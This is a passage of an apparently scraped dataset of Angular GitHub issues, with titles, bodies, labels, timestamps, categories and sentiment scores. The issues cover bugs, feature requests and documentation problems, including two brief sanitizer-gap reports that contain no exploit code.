│ @angular/compiler-cli     │ 21.2.16           │ ^21.2.16        ... [TRUNCATED]","area: compiler,gemini-triaged",2026-06-05 10:59:47+00:00,2026-06-05 12:44:09+00:00,2,"area: compiler,gemini-triaged",0.0725,cannot use type parameter for component input property transformers which angular package s are the source of the bug don t known other is this a regression no description url this component won t compile please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli angular common angular compiler angular compiler cli truncated,others,-0.2023
angular/angular,4596130691,Signal Forms: applyWhen with else option,"### Which @angular/* package(s) are relevant/related to the feature request?

@angular/forms/signals

### Description

When a subform is based on another Selection we have to use disabled and applyWhen (see the next example). I found no other option for this use case.

So in this example the other decides for goal points. Then the pointsSchema (could be required counter or a min of 10) should be applied. If the user selects something else this should be disabled -> Validation will be disabled.

```
interface MyForm {
   goal: {
    decision: 'points' | 'cards';
  }
  points: {
    counter: number;
  }
}

export const mySchema = 
  schema<MyForm>((schema) => {
    const decision = schema.goal.decision;

    disabled(schema.points, {
      when: ({ valueOf }) => valueOf(decision) !== 'points',
    });
    applyWhen(
      schema.points,
      ({ valueOf }) => valueOf(decision) === 'points',
      pointsSchema,
    );
  });
```

### Proposed solution

valueOf can be part of schema at the top or applyWhen should have an else part or can contain options (in this case to disable the schema)

### Alternatives considered

-","area: forms,needs: clarification,forms: signals",2026-06-05 10:17:07+00:00,2026-06-09 19:07:58+00:00,3,"area: forms,needs: clarification,forms: signals",4.3686,signal forms applywhen with else option which angular package s are relevant related to the feature request angular forms signals description when a subform is based on another selection we have to use disabled and applywhen see the next example i found no other option for this use case so in this example the other decides for goal points then the pointsschema could be required counter or a min of should be applied if the user selects something else this should be disabled validation will be disabled proposed solution valueof can be part of schema at the top or applywhen should have an else part or can contain options in this case to disable the schema alternatives considered,others,0.2263
angular/angular,4595464276,Bug: [animate.enter] fires during SSR hydration on elements already present in server-rendered HTML,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using Angular SSR, elements inside @if blocks that use the new [animate.enter] binding incorrectly trigger their enter animation during client-side hydration — even though those elements were already present and visible in the server-rendered HTML.

**Actual Behavior**
The enter-animation class is applied during hydration, causing a jarring flash/expand animation on every page load — even though the content was already visible from SSR. This makes [animate.enter] effectively unusable in any SSR + hydration context where the initial state is true.

**Expected Behavior**
Elements already present in the server-rendered DOM at hydration time should not trigger [animate.enter]. Enter animations should only fire when an element is genuinely inserted into the DOM as a result of a state change after hydration is complete.

### Please provide a link to a minimal reproduction of the bug

https://github.com/eneajaho/hydration-animate

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Latest Angular 22.
```

### Anything else?

_No response_","area: server,gemini-triaged",2026-06-05 08:24:07+00:00,2026-06-15 17:52:08+00:00,4,"area: server,gemini-triaged",10.3945,animate enter fires during ssr hydration on elements already present in server rendered html which angular package s are the source of the bug core is this a regression no description when using angular ssr elements inside if blocks that use the new animate enter binding incorrectly trigger their enter animation during client side hydration even though those elements were already present and visible in the server rendered html the enter animation class is applied during hydration causing a jarring flash expand animation on every page load even though the content was already visible from ssr this makes animate enter effectively unusable in any ssr hydration context where the initial state is true elements already present in the server rendered dom at hydration time should not trigger animate enter enter animations should only fire when an element is genuinely inserted into the dom as a result of a state change after hydration is complete please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.7003
angular/angular,4595309613,NG0600 is missing from error enclyclopedia,"### Describe the problem that you experienced

NG0600 (Writing to signals is not allowed in a `computed`) is missing from https://angular.dev/errors

### Enter the URL of the topic with the problem

https://angular.dev/errors

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-06-05 08:00:06+00:00,2026-06-05 08:53:40+00:00,2,"area: docs,gemini-triaged",0.0372,ng is missing from error enclyclopedia describe the problem that you experienced ng writing to signals is not allowed in a is missing from enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,bug,-0.9753
angular/angular,4594626956,v22 Migration failed,"### Command

update

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

Upgrading to angular 22, using `ng update @angular/core@22 @angular/cli@22`, I encounter an error when migrations start, which I have so far been unable to bypass. 

> ❯ Adds `ChangeDetectionStrategy.Eager` to all components.
✖ Migration failed: Path ""app/app.ts"" does not exist.
  See ""C:\Users\Doug\AppData\Local\Temp\ng-QzzQ4W\angular-errors.log"" for further details.


### Minimal Reproduction

This is reproducible since this is an open source repository. The branch is here:
https://github.com/factoriolab/factoriolab/tree/next


### Your Environment

```text
Angular CLI       : 21.2.10
Angular           : 21.2.12
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.10           │ ^21.2.10          │
│ @angular/cdk              │ 21.2.10           │ ^21.2.10          │
│ @angular/cli              │ 21.2.10           │ ^21.2.10          │
│ @angular/common           │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler         │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler-... [TRUNCATED]",area: migrations,2026-06-05 04:19:02+00:00,2026-06-05 14:22:24+00:00,3,area: migrations,0.419,v migration failed command update is this a regression yes this behavior used to work in the previous version the previous version in which this bug was not present was no response description upgrading to angular using i encounter an error when migrations start which i have so far been unable to bypass adds to all components migration failed path app app ts does not exist see c users doug appdata local temp ng qzzq w angular errors log for further details this is reproducible since this is an open source repository the branch is here your environment text angular cli angular node js package manager npm win x package installed version requested version angular build angular cdk angular cli angular common angular compiler angular compiler truncated,others,-0.7971
angular/angular,4592051214,Zoneless: initial paint of components can occur before bindings are applied to attributes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using `provideZonelessChangeDetection()`, Angular appears to paint newly navigated components before bindings have been applied. A subsequent update then applies the correct classes, attributes, and property bindings.

The resulting DOM state is correct, but because the browser has already painted the initial HTML, CSS transitions can be triggered from the unbound state to the bound state.

### Reproduction

1. Navigate between **Home** and **Other** (only happens when visiting a page after the first time).

The example contains three disabled buttons:

* One button is rendered as static HTML and behaves correctly.
* Two buttons derive their disabled state from Angular bindings and demonstrate the issue.

### Current behavior

During navigation (zoneless) all three buttons should set the disabled attribute from the very first frame they exist. However the two buttons using host bindings appear enabled, but slowly fade to the grey disabled appearance in lockstep.

### Expected behavior

Bindings, classes and attributes should be reflected in the DOM before the first visible paint of a newly rendered view. Elements that are logically disabled from their first frame should never visibly transition from an enabled appearance to a disabled appearance as a result of Angular applying initial bindings after paint.

### Please provide a link to a minimal reproduction ... [TRUNCATED]","area: core,core: change detection",2026-06-04 20:45:07+00:00,2026-06-05 06:21:38+00:00,4,"area: core,core: change detection",0.4004,zoneless initial paint of components can occur before bindings are applied to attributes which angular package s are the source of the bug core is this a regression no description when using angular appears to paint newly navigated components before bindings have been applied a subsequent update then applies the correct classes attributes and property bindings the resulting dom state is correct but because the browser has already painted the initial html css transitions can be triggered from the unbound state to the bound state reproduction navigate between home and other only happens when visiting a page after the first time the example contains three disabled buttons one button is rendered as static html and behaves correctly two buttons derive their disabled state from angular bindings and demonstrate the issue current behavior during navigation zoneless all three buttons should set the disabled attribute from the very first frame they exist however the two buttons using host bindings appear enabled but slowly fade to the grey disabled appearance in lockstep bindings classes and attributes should be reflected in the dom before the first visible paint of a newly rendered view elements that are logically disabled from their first frame should never visibly transition from an enabled appearance to a disabled appearance as a result of angular applying initial bindings after paint please provide a link to a truncated,others,0.1655
angular/angular,4591805116,Security: dom_security_schema.ts URL list missing 12+ attribute pairs,"[attr.X] binding bypasses URL sanitizer for SVG use/image/feImage, media audio/source/track, video poster, legacy background attrs, img srcset. Related: CVE-2026-22610, CVE-2026-27970, CVE-2026-32635.",area: security,2026-06-04 20:05:39+00:00,2026-06-04 22:15:34+00:00,1,area: security,0.0902,security dom security schema ts url list missing attribute pairs attr x binding bypasses url sanitizer for svg use image feimage media audio source track video poster legacy background attrs img srcset related cve cve cve,others,0.3818
angular/angular,4591805021,Security: i18n attribute binding bypasses RESOURCE_URL sanitizer (incomplete CVE-2026-32635 fix),"TRUSTED_TYPES_SINKS missing base|href, link|href, frame|src. Compiler accepts i18n bindings on these while [href] binding throws NG0904.","area: security,gemini-triaged",2026-06-04 20:05:38+00:00,2026-06-04 21:22:49+00:00,1,"area: security,gemini-triaged",0.0536,security i n attribute binding bypasses resource url sanitizer incomplete cve fix trusted types sinks missing base href link href frame src compiler accepts i n bindings on these while href binding throws ng,bug,0.7964
angular/angular,4591204086,Broken v22 event link and duplicate-titled results in search,"### Describe the problem that you experienced

Two things happen when searching `v22` in search (shown in the video below).

1. The result for the v22 event page leads to a Page Not Found.
2. Several results all show the title ""Angular v22 is here!"" while each points to a different link.

https://github.com/user-attachments/assets/98cedbfc-2ca0-4afb-972a-ba32f346fe91","area: docs-infra,gemini-triaged",2026-06-04 18:28:03+00:00,2026-06-10 18:27:50+00:00,4,"area: docs-infra,gemini-triaged",5.9998,broken v event link and duplicate titled results in search describe the problem that you experienced two things happen when searching in search shown in the video below the result for the v event page leads to a page not found several results all show the title angular v is here while each points to a different link,documentation,-0.7003
angular/angular,4587721380,feat: Stronger official support for critical ecosystem tooling during major Angular releases (eg angular-eslint),"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I’d like to raise a recurring concern regarding ecosystem tooling alignment with Angular major releases, in particular tools like [angular-eslint](https://github.com/angular-eslint/angular-eslint).

With each Angular major release, some critical ecosystem packages (such as `angular-eslint`) tend to remain tied to the previous major version for a period of time before full compatibility is available.

This creates a temporary gap where:
- Angular is upgraded, but linting/tooling support lags behind;
- teams are forced to delay upgrades or run mismatched versions;




### Proposed solution

It would be very valuable if the Angular team could take a more active role in supporting and maintaining the **most critical** ecosystem tools, especially around major releases, directly contributing to or co-maintaining key tooling.

### Alternatives considered

nope

see https://github.com/angular-eslint/angular-eslint/issues/3052","area: dev-infra,gemini-triaged",2026-06-04 10:00:12+00:00,2026-06-04 12:10:04+00:00,2,"area: dev-infra,gemini-triaged",0.0902,stronger official support for critical ecosystem tooling during major angular releases eg angular eslint which angular package s are relevant related to the feature request no response description i d like to raise a recurring concern regarding ecosystem tooling alignment with angular major releases in particular tools like angular eslint with each angular major release some critical ecosystem packages such as tend to remain tied to the previous major version for a period of time before full compatibility is available this creates a temporary gap where angular is upgraded but linting tooling support lags behind teams are forced to delay upgrades or run mismatched versions proposed solution it would be very valuable if the angular team could take a more active role in supporting and maintaining the most critical ecosystem tools especially around major releases directly contributing to or co maintaining key tooling alternatives considered nope see,feature,0.8663
angular/angular,4587209243,Angular Language Service should allow using workspace TypeScript version instead of forcing bundled TS 6,"### Is this a bug report or a feature request?

- [ ] Bug Report
- [x] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

_No response_

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

_No response_

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Description [Feature Request only]

## Description

After upgrading Angular Language Service to v22.0.0, the extension now bundles and forces TypeScript 6.0, ignoring the workspace TypeScript version configured in VSCode (`typescript.tsdk`).

This breaks compatibility with older Angular projects (e.g. Angular 14), which depend on specific TypeScript versions (e.g. 4.7.4).

Previously, the extension respected the workspace TypeScript version.

### Proposed solution [Feature Request only]

## Expected behavior

Angular Language Service should:

- Allow using the workspace TypeScript version (like the built-in TS/JS extension)
- Respect `typescript.tsdk` setting
- Or provide a setting to select:
  - Bundled TypeScript
  - Workspace TypeScript

---

## Actual behavior

- Extension always uses bundled TypeScript 6.0
- Ignores workspace TypeScript (even when `typescript.tsdk` is set)
- Causes type errors in older Angular versions that were not present before

### Alternatives considered [Feature Request only]

_No response_","area: language-service,gemini-triaged",2026-06-04 08:41:04+00:00,2026-06-05 17:43:07+00:00,3,"area: language-service,gemini-triaged",1.3764,angular language service should allow using workspace typescript version instead of forcing bundled ts bug report x feature request please provide the the issue bug report only no response please provide the vs the you encountered bug report only no response please provide a screenshot if possible bug report only no response please provide the exception or error you saw bug report only description feature request only description after upgrading angular language service to v the extension now bundles and forces typescript ignoring the workspace typescript version configured in vscode this breaks compatibility with older angular projects e g angular which depend on specific typescript versions e g previously the extension respected the workspace typescript version proposed solution feature request only angular language service should allow using the workspace typescript version like the built in ts js extension respect setting or provide a setting to select bundled typescript workspace typescript extension always uses bundled typescript ignores workspace typescript even when is set causes type errors in older angular versions that were not present before alternatives considered feature request only no response,others,-0.875
angular/angular,4582535596,releases.md support table does not yet list v22,"### Describe the problem that you experienced

I noticed the ""Actively supported versions"" table in `adev/src/content/reference/releases.md` still tops out at v21:

| Version | Status | Released   | Active ends | LTS ends   |
| ------- | ------ | ---------- | ----------- | ---------- |
| ^21.0.0 | Active | 2025-11-19 | 2026-05-19  | 2027-05-19 |
| ^20.0.0 | LTS    | 2025-05-28 | 2025-11-19  | 2026-11-28 |

There's no `^22.0.0` row yet, and v21 still shows as Active. I see `versions.json` and `reference/versions.md` already mention v22, so I wasn't sure if this table is updated on a different cadence or just hasn't been refreshed yet.

Totally fine if it's already on your list, just wanted to flag it in case it helps.

Congrats on the v22 release, and thanks for all the work that goes into each one!","area: docs,gemini-triaged",2026-06-03 18:20:55+00:00,2026-06-03 20:56:21+00:00,1,"area: docs,gemini-triaged",0.1079,releases md support table does not yet list v describe the problem that you experienced i noticed the actively supported versions table in still tops out at v version status released active ends lts ends active lts there s no row yet and v still shows as active i see and already mention v so i wasn t sure if this table is updated on a different cadence or just hasn t been refreshed yet totally fine if it s already on your list just wanted to flag it in case it helps congrats on the v release and thanks for all the work that goes into each one,documentation,0.9827
angular/angular,4581646589,Outdated Version Banner on Documentation Site,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

The documentation header displays an outdated announcement banner (""Angular v21 is here!"") while the user is explicitly viewing the v22 version of the documentation.

Steps to Reproduce:
1- Navigate to the Angular documentation website.
2- Ensure the version selector in the sidebar/navigation is set to v22.
3- Observe the announcement banner at the top of the main content area.

Expected Behavior:
The banner should reflect the current major release context. If the user is on the v22 documentation, the banner should either:

- Welcome them to v22.
- Highlight v22 features.
- Be hidden if there is no current announcement for v22.

Suggested Fix: Update the banner component's conditional rendering or content source to dynamically check the active documentation version, ensuring outdated release announcements are suppressed or updated when a newer major version is selected.

<img width=""605"" height=""143"" alt=""Image"" src=""https://github.com/user-attachments/assets/589585c3-5152-44cf-89f8-21939156f1ab"" />

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/

### Please provide the exception or error you saw

```true
Actual Behavior
The banner incorrectly promotes the previous version:

""Angular v21 is here! 🕹️ Start your adventure""

Visual Evidence
Version Dropdown: Displays v22

Banner Text: Displays Angular v21 is here!
... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-06-03 16:15:53+00:00,2026-06-03 16:18:47+00:00,1,"area: docs-infra,gemini-triaged",0.002,outdated version banner on documentation site which angular package s are the source of the bug don t known other is this a regression no description the documentation header displays an outdated announcement banner angular v is here while the user is explicitly viewing the v version of the documentation navigate to the angular documentation website ensure the version selector in the sidebar navigation is set to v observe the announcement banner at the top of the main content area the banner should reflect the current major release context if the user is on the v documentation the banner should either welcome them to v highlight v features be hidden if there is no current announcement for v suggested fix update the banner component s conditional rendering or content source to dynamically check the active documentation version ensuring outdated release announcements are suppressed or updated when a newer major version is selected please provide a link to a of the bug please provide the exception or error you saw true the banner incorrectly promotes the previous version angular v is here start your adventure visual evidence version dropdown displays v banner text displays angular v is here truncated,documentation,0.936
angular/angular,4570204570,Colocating ControlValueAccessor and FormCheckboxControl does not seem to work,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When creating a component that supports both reactive forms and signals, Trying to update the form signal fails. Removing all content about form controls then seem to work without issues.

Here is the downloaded artifact from the angular.dev playground with all files required

[playground_0-hello-world.zip](https://github.com/user-attachments/files/28502332/playground_0-hello-world.zip)

Otherwise, just write this file [at playground](https://angular.dev/playground?templateId=0-hello-world) : 

```typescript
import { bootstrapApplication } from '@angular/platform-browser';
import {
  afterNextRender,
  ChangeDetectionStrategy,
  Component,
  DestroyRef,
  inject,
  linkedSignal,
  model,
  signal
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { ControlValueAccessor, NgControl } from '@angular/forms';
import { FormCheckboxControl, form, FormField } from '@angular/forms/signals';

@Component({
  selector: 'tds-toggle',
  imports: [],
  template: `
    <div class=""tds-toggle-inner"">
      <div class=""tds-toggle-thumb""></div>
    </div>
  `,
  styles: `
    :host {
      --tds-toggle-inner-width: 2.25rem;
      --tds-toggle-inner-height: 0.75rem;
      --tds-toggle-thumb-size: 1.25rem;
      --tds-toggle-inner-color: grey;

      height: var(--tds-toggle-thumb-size);
      width: calc(var(--tds-toggle-inner-width) + (v... [TRUNCATED]","area: forms,gemini-triaged",2026-06-02 09:30:06+00:00,2026-06-04 14:31:51+00:00,6,"area: forms,gemini-triaged",2.2095,colocating controlvalueaccessor and formcheckboxcontrol does not seem to work which angular package s are the source of the bug forms is this a regression no description when creating a component that supports both reactive forms and signals trying to update the form signal fails removing all content about form controls then seem to work without issues here is the downloaded artifact from the angular dev playground with all files required playground hello world zip otherwise just write this file at playground typescript import bootstrapapplication from angular platform browser import afternextrender changedetectionstrategy component destroyref inject linkedsignal model signal from angular core import takeuntildestroyed from angular core rxjs interop import controlvalueaccessor ngcontrol from angular forms import formcheckboxcontrol form formfield from angular forms signals component selector tds toggle imports template styles host tds toggle inner width rem tds toggle inner height rem tds toggle thumb size rem tds toggle inner color grey height var tds toggle thumb size width calc var tds toggle inner width v truncated,others,-0.4767
angular/angular,4561892210,Consistent 'when' availability on build-in Signal Forms validators,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently, only the `required` validator has a `when`property.
For other ones, we have to rely on `applyWhen` to do about the same.

Is there a reason for `required`having this specific behavior?

### Proposed solution

Having `when` exposed to all built-in validators would enhance the dev experience and make its usage consistent.

### Alternatives considered

Remove on `required` :D","area: forms,gemini-triaged",2026-06-01 09:24:01+00:00,2026-06-01 09:27:56+00:00,0,"area: forms,gemini-triaged",0.0027,consistent when availability on build in signal forms validators which angular package s are relevant related to the feature request no response description currently only the validator has a property for other ones we have to rely on to do about the same is there a reason for having this specific behavior proposed solution having exposed to all built in validators would enhance the dev experience and make its usage consistent alternatives considered remove on d,others,-0.0516
angular/angular,4561102136,"isDevMode() is still true, after calling enableProdMode()","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

After updating Angular from **21.1.2** to **21.2.13** `isDevMode()` stopped working properly. In my code I'm calling `enableProdMode()`. After this I expect `isDevMode()` to return false. It does this in Angular **21.1.2**, but in **21.2.13** it returns true.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

There is now error, its just not working.

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.11
Angular           : 21.2.13
Node.js           : 24.15.0
Package Manager   : npm 11.12.1
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.2.13           │ 21.2.13           │
│ @angular/build                    │ 21.2.11           │ ^21.2.11          │
│ @angular/cdk                      │ 21.2.11           │ 21.2.11           │
│ @angular/cli                      │ 21.2.11           │ 21.2.11           │
│ @angular/common                   │ 21.2.13           │ 21.2.13           │
│ @angular/compiler                 │ 21.2.13           │ 21.2.13           │
│ @angular/c... [TRUNCATED]","needs reproduction,area: core",2026-06-01 07:14:01+00:00,2026-06-04 14:31:20+00:00,8,"needs reproduction,area: core",3.3037,isdevmode is still true after calling enableprodmode which angular package s are the source of the bug core is this a regression yes description after updating angular from to stopped working properly in my code i m calling after this i expect to return false it does this in angular but in it returns true please provide a link to a of the bug no response please provide the exception or error you saw there is now error its just not working please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version angular animations angular build angular cdk angular cli angular common angular compiler angular c truncated,others,0.4497
angular/angular,4559688240,Scroll root on body causes 8 px gutter flicker (safari),"### Describe the problem that you experienced

### Problem
On Safari (desktop - tested on OS 26) - The original shell sets overflow: hidden on body to lock scroll when the mobile nav opens. This removes the scrollbar, causing an 8 px layout shift as the scrollbar gutter disappears. This instantly changes the viewport width, which:

- Triggers CSS media query breakpoint changes mid-animation
- Causes content to reflow and jump
- Is especially severe on Safari, where body is the scroll root by default

Here are 2 images to show the bug:
Note the top image gives one width, when enabling the menu and hiding the scrollbar, the second shows the new width which triggers the 700px media query with a new reported width.
<img width=""814"" height=""843"" alt=""Image"" src=""https://github.com/user-attachments/assets/0f3c511d-4bb8-4c94-af01-b24ca598b029"" />
<img width=""814"" height=""843"" alt=""Image"" src=""https://github.com/user-attachments/assets/3b5232cb-edc9-48ac-8750-a4f636920b0f"" />

### Enter the URL of the topic with the problem

https://angular.dev

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

I was testing another bug when setting to 700px exactly would expose a previous media query collision.

### Describe what you want to experience that would fix the problem

Move the scroll root from body to html by setting overflow-y: scroll on the html element. The persistent overflow-y: scroll keeps th... [TRUNCATED]","open for contributions,area: docs-infra",2026-06-01 01:26:49+00:00,2026-06-12 16:19:35+00:00,4,"open for contributions,area: docs-infra",11.62,scroll root on body causes px gutter flicker safari describe the problem that you experienced problem on safari desktop tested on os the original shell sets overflow hidden on body to lock scroll when the mobile nav opens this removes the scrollbar causing an px layout shift as the scrollbar gutter disappears this instantly changes the viewport width which triggers css media query breakpoint changes mid animation causes content to reflow and jump is especially severe on safari where body is the scroll root by default here are images to show the bug note the top image gives one width when enabling the menu and hiding the scrollbar the second shows the new width which triggers the px media query with a new reported width enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem i was testing another bug when setting to px exactly would expose a previous media query collision describe what you want to experience that would fix the problem move the scroll root from body to html by setting overflow y scroll on the html element the persistent overflow y scroll keeps th truncated,documentation,-0.9732
angular/angular,4557298337,Question about contributing,Hi from DEATHLEGION Sri Lanka! Great project. I would like to contribute. Is there a good first issue label available? Thank you!,"area: docs,gemini-triaged",2026-05-31 10:45:56+00:00,2026-05-31 21:32:00+00:00,4,"area: docs,gemini-triaged",0.4487,question about contributing hi from deathlegion sri lanka great project i would like to contribute is there a good first issue label available thank you,documentation,0.9001
angular/angular,4552759496,at exactly 700px the navigation structure breaks in _media-queries.scss,"### Describe the problem that you experienced

At 699px or 701px, the navigation behaves correctly. The issue happens specifically at exactly 700px, where the CSS media queries and TypeScript breakpoint logic appear to collide.

The problem is tied to the expanded/open navigation state at the 700px breakpoint.

The current 0.01px gap approach in the media queries is fragile at exact pixel boundaries. At exactly 700px, some browsers may evaluate min-width: calc(700px + 0.01px) as matching while max-width: 700px is also still active. This can cause both the phone and tablet rules to apply at the same time.

When the nav is open at exactly 700px, the two layout states conflict:

Phone rules: max-width: 700px
Primary nav becomes a position: absolute sidebar sliding in from the left.
Secondary nav host shifts over by 82px.
Tablet rules: min-width: 700.01px
Primary nav becomes a horizontal row.
Secondary nav becomes a fixed sidebar positioned at left: 0.

The fix is to replace the 0.01px breakpoint gaps with a clean 1px boundary. In other words, keep the phone rules at max-width: 700px, and start the tablet rules at min-width: 701px.

This removes the exact-pixel overlap and prevents both expanded navigation states from being applied simultaneously.

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe wh... [TRUNCATED]","area: core,gemini-triaged",2026-05-30 01:41:26+00:00,2026-06-01 01:16:09+00:00,0,"area: core,gemini-triaged",1.9824,at exactly px the navigation structure breaks in media queries scss describe the problem that you experienced at px or px the navigation behaves correctly the issue happens specifically at exactly px where the css media queries and typescript breakpoint logic appear to collide the problem is tied to the expanded open navigation state at the px breakpoint the current px gap approach in the media queries is fragile at exact pixel boundaries at exactly px some browsers may evaluate min width calc px px as matching while max width px is also still active this can cause both the phone and tablet rules to apply at the same time when the nav is open at exactly px the two layout states conflict phone rules max width px primary nav becomes a position absolute sidebar sliding in from the left secondary nav host shifts over by px tablet rules min width px primary nav becomes a horizontal row secondary nav becomes a fixed sidebar positioned at left the fix is to replace the px breakpoint gaps with a clean px boundary in other words keep the phone rules at max width px and start the tablet rules at min width px this removes the exact pixel overlap and prevents both expanded navigation states from being applied simultaneously enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe wh truncated,others,-0.8689
angular/angular,4547482971,wrong link in roadmap page,"### Describe the problem that you experienced

in roadmap page, when i click the Improve debugging with better Angular error messages card i get page not found
<img width=""200"" height=""200"" alt=""Image"" src=""https://github.com/user-attachments/assets/9228a4b4-8e35-4a21-9b0e-4e3c5e562715"" />

<img width=""300"" height=""200"" alt=""Image"" src=""https://github.com/user-attachments/assets/f739ad7a-bf70-4aa7-bb80-2e6b16f50d11"" />

https://angular.dev/roadmap 

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-05-29 09:50:14+00:00,2026-06-01 10:17:00+00:00,0,"area: docs-infra,gemini-triaged",3.0186,wrong link in roadmap page describe the problem that you experienced in roadmap page when i click the improve debugging with better angular error messages card i get page not found enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9648
angular/angular,4543831202,`.hasMetadata(...)` is not found in FieldState object,"### Describe the problem that you experienced

In [this page](https://angular.dev/guide/forms/signals/field-metadata#reading-metadata-from-a-field) is explained how to use the `hasMetadata`, but when I navigate to the [FieldState](https://angular.dev/api/forms/signals/FieldState) documentation, the `hasMetadata()` method is not there. 

Also, using the last stable version `21.2.15`, I can't find this method too: 
<img width=""1147"" height=""241"" alt=""Image"" src=""https://github.com/user-attachments/assets/cfceb711-19ee-4c88-8091-bdd9d333e51b"" />

the `ng version` output:

npx ng version

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 21.2.13
Angular           : 21.2.15
Node.js           : 22.19.0
Package Manager   : npm 10.9.3
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.13           │ ^21.1.4           │
│ @angular/cli              │ 21.2.13           │ ^21.1.4           │
│ @angular/common           │ 21.2.15           │ ^21.1.0           │
│ @angu... [TRUNCATED]","open for contributions,gemini-triaged",2026-05-28 21:07:27+00:00,2026-06-01 09:57:10+00:00,2,"open for contributions,gemini-triaged",3.5345,is not found in fieldstate object describe the problem that you experienced in this page is explained how to use the but when i navigate to the fieldstate documentation the method is not there also using the last stable version i can t find this method too the output npx ng version angular cli angular node js package manager npm linux x package installed version requested version angular build angular cli angular common angu truncated,others,0.4854
angular/angular,4541124000,WKWebView / iOS Safari crash (“A problem repeatedly occurred”) on Angular 18 SSR application loading/boot,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description


We are running a production Angular 18 application with Server-Side Rendering (SSR) and Client Hydration enabled. It works flawlessly across most desktop and Android browsers.

However, on a subset of iPhone devices (specifically running within an iOS app’s embedded WKWebView / Facebook browser, and occasionally on standalone iOS Safari), the application crashes immediately upon loading.

The browser completely stops executing and shows the default iOS error page:

Observed Behavior
The server-rendered page is successfully retrieved and renders briefly (for a fraction of a second).

As soon as the client bundle loads, bootstraps, and begins hydration/initialization, the entire WebView/browser engine crashes.

The crash is not tied to one specific page; it happens both on the homepage (after login) and on static routes like /forgot-password.

Console logging via remote debugging (Safari Web Inspector) is extremely difficult to capture because the browser engine crashes completely before logs can be flushed.

Sanitized Project Configuration and Code
To help diagnose, here is our boot and runtime setup:

1. Angular Application Configuration (app.config.ts)
We use standalone API with provideClientHydration() and routing configurations.

